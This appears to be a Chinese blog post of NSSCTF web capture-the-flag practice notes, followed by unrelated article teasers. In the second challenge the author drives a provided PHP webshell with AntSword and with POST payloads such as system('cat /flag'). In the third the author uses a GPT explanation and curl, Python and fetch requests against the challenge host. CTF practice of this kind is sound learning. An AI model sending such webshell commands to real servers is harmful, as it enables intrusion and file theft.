NSSCTF web刷题
1
虽然找到了flag,但是我要怎么去改他的代码,让他直接输出flag呢?
(好像是要得到他的json代码,这题不让看)
2
wllm应该就是他的密码,进入许可了
意思是服务器可以执行通过POST的请求方式传入参数为wllm的命令,那这就是典型的命令执行,当然,也可以使用蚁剑或者菜刀连接这个木马
antsword
右键直接连接
在根目录下就有一个flag藏着
hackbar
ctrl+u查看源码,好看一点
wllm=var_dump(file_get_contents("/flag"));
wllm=system('cat /flag');
两种源码
var_dump()函数用于输出变量的相关信息
file_get_contents()函数用于读取文件
3
强大的ai
进来可以看见就是源码
gpt给的答案
这段 PHP 代码主要用于处理两个输入参数 (
id
和json
),并在满足特定条件时输出一个变量$flag
的内容。以下是代码逐行分析:
1.
highlight_file('index.php');
- 作用: 这行代码会将当前文件 (
index.php
) 的内容以高亮的形式输出到网页上。- 用途: 通常用于调试,或者作为一个挑战(比如 CTF),让用户能看到代码内容。
2.
include("flag.php");
- 作用: 包含一个名为
flag.php
的文件。- 隐患: 如果
flag.php
文件被泄露或包含敏感信息(比如$flag
的定义),可能会导致漏洞。- 假设
flag.php
文件的内容类似于:php
复制代码
<?php $flag = "FLAG{example_flag}"; ?>
3.
$id=$_POST['id'];
- 作用: 从 HTTP POST 请求中获取参数
id
的值并赋值给$id
。- 隐患: 如果未对输入进行校验,可能会导致不安全的行为,但此处代码仅比较字符串,暂未看到明显漏洞。
4.
$json=json_decode($_GET['json'],true);
- 作用: 从 HTTP GET 请求中获取参数
json
的值,并将其作为 JSON 解码为 PHP 数组,存储到$json
变量中。- 隐患: 如果解码失败(如传入的不是合法的 JSON),
$json
将是null
,这可能导致后续代码错误。
5.
if ($id=="wllmNB"&&$json['x']=="wllm")
- 作用: 检查
$id
和$json['x']
是否同时满足指定条件:
$id
的值必须是字符串"wllmNB"
;$json['x']
的值必须是字符串"wllm"
。
6.
{echo $flag;}
- 作用: 如果条件满足,则输出
$flag
的内容。
总结分析
功能:
- 脚本的作用是输出
$flag
,前提是满足条件$id == "wllmNB"
和$json['x'] == "wllm"
。潜在漏洞:
- 文件包含敏感数据: 如果
flag.php
的内容意外暴露,攻击者可能直接获取到$flag
。- 未验证的用户输入:
- 虽然
json_decode()
是一种解析输入的方法,但其行为依赖于用户传入的 JSON 数据,如果攻击者能够构造合法的 JSON,可能绕过其他限制。- 代码逻辑过于简单: 一旦攻击者了解了判断逻辑,直接伪造请求即可拿到
$flag
。如何利用:
- 构造一个 POST 请求,其中
id="wllmNB"
。- 构造一个 GET 请求,其中
json={"x":"wllm"}
。- 请求示例:
bash
复制代码
或者:
POST /index.php?id=wllmNB&json={"x":"wllm"}
perl
复制代码
curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"
建议改进:
- 避免在源码中直接输出敏感信息。
- 使用更加复杂的验证逻辑,避免简单暴力的字符串匹配。
- 针对用户输入的 JSON 数据和 POST 数据增加验证,确保不会被伪造请求绕过。
真猛,我的天
1. 使用
curl
命令行工具
curl
是一个非常强大的命令行工具,用于发送 HTTP 请求。构造 POST 请求
bash
复制代码
curl -X POST -d "id=wllmNB" "http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D"
解释
-X POST
指定 HTTP 方法为 POST。-d "id=wllmNB"
指定 POST 的数据(id=wllmNB
)。http://example.com/index.php?json=%7B%22x%22%3A%22wllm%22%7D
json=%7B%22x%22%3A%22wllm%22%7D
是 URL 编码的 JSON 参数{"x":"wllm"}
。
2. 使用 Postman
Postman 是一个用户友好的界面工具,非常适合测试 HTTP 请求。
步骤
下载并安装 Postman.
创建一个新请求。
设置请求方式为
POST
。在 URL 栏中输入目标地址,例如:
arduino
复制代码
http://example.com/index.php
在请求参数部分:
- Body: 选择 x-www-form-urlencoded。
- 添加键值对:
id = wllmNB
。在 Query Params 添加键值对:
json = {"x":"wllm"}
。点击 Send,观察返回结果。
3. 使用浏览器控制台
你也可以在浏览器的开发者工具中发送请求。
步骤
- 打开浏览器,按
F12
或右键选择 检查,进入开发者工具。- 转到 Console(控制台)。
- 输入以下代码:
javascript
复制代码
fetch('http://example.com/index.php?json={"x":"wllm"}', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'id=wllmNB' }).then(response => response.text()).then(data => console.log(data));
- 按回车,观察控制台输出的返回结果。
4. 使用 Python (Requests 库)
如果你熟悉 Python,可以用
requests
库发送请求。代码示例
python
复制代码
import requests url = "http://example.com/index.php" params = {"json": '{"x":"wllm"}'} data = {"id": "wllmNB"} response = requests.post(url, params=params, data=data) print(response.text)
运行
- 确保安装了
requests
:pip install requests
。- 运行上述代码。
推荐工具
- 如果你熟悉命令行,使用 curl。
- 如果需要可视化界面,使用 Postman。
- 如果你是开发者,推荐使用 Python 的 Requests 库或浏览器控制台。
试一下
这...
ai强大
curl -X POST -d "id=wllmNB" "http://node7.anna.nssctf.cn:21519?json=%7B%22x%22%3A%22wllm%22%7D"
import requestsurl = "http://node7.anna.nssctf.cn:21519/"
params = {"json": '{"x":"wllm"}'}
data = {"id": "wllmNB"}response = requests.post(url, params=params, data=data)
print(response.text)
fetch('http://node7.anna.nssctf.cn:21519?json={"x":"wllm"}', { method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: 'id=wllmNB' }).then(response => response.text()).then(data => console.log(data));
猛!三个传参的办法
后面再学,今天先摆~
相关文章:

NSSCTF web刷题
1 虽然找到了flag,但是我要怎么去改他的代码,让他直接输出flag呢? (好像是要得到他的json代码,这题不让看) 2 wllm应该就是他的密码,进入许可了 意思是服务器可以执行通过POST的请求方式传入参数为wllm的命令,那这就是典型的命令执行,当然,…...

对象排序得到方式
java实现 list 排序的方式,有三种 ① 对象实现Comparable 接口,然后代码里直接调用Collections.sort(list) ②使用内部类Comparator ③使用stream.sort 代码如下 实现Comparable接口的实体类 Data public class Student implements Comparable<Stud…...

Day2 洛谷1035+1047+1085+1089+1150+1151
零基础洛谷刷题记录 Day1 2024.11.18 Day2 2024.11.25 文章目录 零基础洛谷刷题记录1035:题目描述1035:解答代码1035:学习成果1047:题目描述(成功写出)1047:解答代码1047:学习成果1085…...

Linux:进程间通信之进程池和日志
一、进程池的设计 因为每一次我们要进行进程间通信都需要fork,和操作系统做交互是存在很大成本的,所以我们是不是可以提前fork出几个进程,然后当我们想要使用的时候直接去给他们安排任务,这样就减少了系统调用的次数从而提高了内存…...

详细介绍HTTP与RPC:为什么有了HTTP,还需要RPC?
目录 一、HTTP 二、RPC 介绍 工作原理 核心功能 如何服务寻址 如何进行序列化和反序列化 如何网络传输 基于 TCP 协议的 RPC 调用 基于 HTTP 协议的 RPC 调用 实现方式 优点和缺点 使用场景 常见框架 示例 三、问题 问题一:是先有HTTP还是先有RPC&…...

Paddle Inference部署推理(十二)
十二:Paddle Inference推理 (python)API详解 15. PredictorPool 类 PredictorPool 对 Predictor 进行了简单的封装,通过传入 config 和 thread 的数目来完成初始化,在每个线程中,根据自己的线程 id 直接从…...

外观模式 (Facade Pattern)
外观模式 (Facade Pattern) 外观模式是一种 结构型设计模式,通过为子系统中的一组接口提供一个统一的高层接口,简化了子系统的使用,让复杂系统更易于访问。 原理 核心思想: 提供一个 统一的接口 来访问子系统中的多个接口&#…...

人工智能-深度学习-Torch框架-手动构建回归流程
from sklearn.datasets import make_regression import math import random import torch from sklearn.datasets import make_regression: 导入make_regression函数,用于生成回归数据集。 import math: 导入math模块,用于进行数学计算,例如…...

SpringBoot源码解析(五):准备应用环境
SpringBoot源码系列文章 SpringBoot源码解析(一):SpringApplication构造方法 SpringBoot源码解析(二):引导上下文DefaultBootstrapContext SpringBoot源码解析(三):启动开始阶段 SpringBoot源码解析(四):解析应用参数args Sp…...

MySQL面试-1
InnoDB中ACID的实现 先说一下原子性是怎么实现的。 事务要么失败,要么成功,不能做一半。聪明的InnoDB,在干活儿之前,先将要做的事情记录到一个叫undo log的日志文件中,如果失败了或者主动rollback,就可以通…...

nginx配置不缓存资源
方法1 location / {index index.html index.htm;add_header Cache-Control no-cache,no-store;try_files $uri $uri/ /index.html;#include mime.types;if ($request_filename ~* .*\.(htm|html)$) {add_header Cache-Control "private, no-store, no-cache, must-revali…...

PHP导出EXCEL含合计行,设置单元格格式
PHP导出EXCEL含合计行,设置单元格格式,水平居中 垂直居中 public function exportSalary(Request $request){//水平居中 垂直居中$styleArray [alignment > [horizontal > Alignment::HORIZONTAL_CENTER,vertical > Alignment::VERTICAL_CE…...

RabbitMQ 之 死信队列
一、死信的概念 先从概念解释上搞清楚这个定义,死信,顾名思义就是无法被消费的消息,字面意思可以这样理 解,一般来说,producer 将消息投递到 broker 或者直接到 queue 里了,consumer 从 queue 取出消息进行…...

【创建型设计模式】单例模式
【创建型设计模式】单例模式 这篇博客接下来几篇都将阐述设计模式相关内容。 接下来的顺序大概是:单例模式、工厂方法模式、抽象工厂模式、建造者模式、原型模式。 一、什么是单例模式 单例模式是一种创建型设计模式,它保证一个类仅有一个实例&#…...

Charles抓包工具-笔记
摘要 概念: Charles是一款基于 HTTP 协议的代理服务器,通过成为电脑或者浏览器的代理,然后截取请求和请求结果来达到分析抓包的目的。 功能: Charles 是一个功能全面的抓包工具,适用于各种网络调试和优化场景。 它…...

Go语言使用 kafka-go 消费 Kafka 消息教程
Go语言使用 kafka-go 消费 Kafka 消息教程 在这篇教程中,我们将介绍如何使用 kafka-go 库来消费 Kafka 消息,并重点讲解 FetchMessage 和 ReadMessage 的区别,以及它们各自适用的场景。通过这篇教程,你将了解如何有效地使用 kafk…...

【论文笔记】Number it: Temporal Grounding Videos like Flipping Manga
🍎个人主页:小嗷犬的个人主页 🍊个人网站:小嗷犬的技术小站 🥭个人信条:为天地立心,为生民立命,为往圣继绝学,为万世开太平。 基本信息 标题: Number it: Temporal Grou…...

C语言菜鸟入门·关键字·int的用法
目录 1. int关键字 1.1 取值范围 1.2 符号类型 1.3 运算 1.3.1 加法运算() 1.3.2 减法运算(-) 1.3.3 乘法运算(*) 1.3.4 除法运算(/) 1.3.5 取余运算(%) 1.3.6 自增()与自减(--) 1.3.7 位运算 2. 更多关键字 1. int关键字 int 是一个关键字࿰…...

基于企业微信客户端设计一个文件下载与预览系统
在企业内部沟通与协作中,文件分享和管理是不可或缺的一部分。企业微信(WeCom)作为一款广泛应用于企业的沟通工具,提供了丰富的API接口和功能,帮助企业进行高效的团队协作。然而,随着文件交换和协作的日益增…...

昇思MindSpore第七课---文本解码原理
1. 文本解码原理 文本解码是将模型的输出(通常是概率分布或词汇索引)转换为可读的自然语言文本的过程。在生成文本时,常见的解码方法包括贪心解码、束搜索(BeamSearch)、随机采样等。 2 实践 2.1 配置环境 安装mindn…...

C# 数据结构之【图】C#图
1. 图的概念 图是一种重要的数据结构,用于表示节点(顶点)之间的关系。图由一组顶点和连接这些顶点的边组成。图可以是有向的(边有方向)或无向的(边没有方向),可以是加权的ÿ…...

传输控制协议(TCP)和用户数据报协议(UDP)
一、传输控制协议(TCP) 传输控制协议(Transmission Control Protocol,TCP)是一种面向连接的、可靠的、基于字节流的传输层通信协议,由 IETF 的 RFC 793 定义。 它通过三次握手建立连接,确保数…...

【Python爬虫】Scrapy框架实战---百度首页热榜新闻
如何利用Scrapy框架实战提取百度首页热榜新闻的排名、标题和链接 一、安装Scrapy库 二、创建项目(以BaiduSpider为例) scrapy startproject BaiduSpider生成每个文件的功能: 二、 创建爬虫脚本(爬虫名:newsÿ…...

采用python3.12 +django5.1 结合 RabbitMQ 和发送邮件功能,实现一个简单的告警系统 前后端分离 vue-element
一、开发环境搭建和配置 #mac环境 brew install python3.12 python3.12 --version python3.12 -m pip install --upgrade pip python3.12 -m pip install Django5.1 python3.12 -m django --version #用于检索系统信息和进程管理 python3.12 -m pip install psutil #集成 pika…...

Qt 实现网络数据报文大小端数据的收发
1.大小端数据简介 大小端(Endianness)是计算机体系结构的一个术语,它描述了多字节数据在内存中的存储顺序。以下是大小端的定义和它们的特点: 大端(Big-Endian) 在大端模式中,一个字的最高有效…...

[译]Elasticsearch Sequence ID实现思路及用途
原文地址:https://www.elastic.co/blog/elasticsearch-sequence-ids-6-0 如果 几年前,在Elastic,我们问自己一个"如果"问题,我们知道这将带来有趣的见解: "如果我们在Elasticsearch中对索引操作进行全面排序会怎样…...

Java基于SpringBoot+Vue的藏区特产销售平台
博主介绍:✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇…...

12-表的约束
知识背景 表的约束,就是在表中的数据上加上约束,也被称为数据完整性约束。数据完整性约束的目的是为了不被规定的、不符合规范的数据进入数据库 在录入数据库或数据发生变化时,DBMS(数据库管理系统)会按照一定的约束条件对数据进行监测&…...

【人工智能】深度学习入门:用TensorFlow实现多层感知器(MLP)模型
《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 多层感知器(MLP)是一种基础的神经网络结构,广泛应用于分类和回归任务。作为深度学习的重要组成部分,理解并实现MLP是学习更复杂神经网络模型的基础。本文将介绍多层感知器的核心概念、数学原理,并使用…...

【Go】-go中的锁机制
目录 一、锁的基础知识 1. 互斥量/互斥锁 2. CAS(compare and swap) 3. 自旋锁 4. 读写锁 5. 乐观锁 & 悲观锁 6. 死锁 二、go中锁机制 1. Mutex-互斥锁 2. RWMutex-读写锁 2.1 RWMutex流程概览 2.2 写锁饥饿问题 2.3. golang的读写锁源…...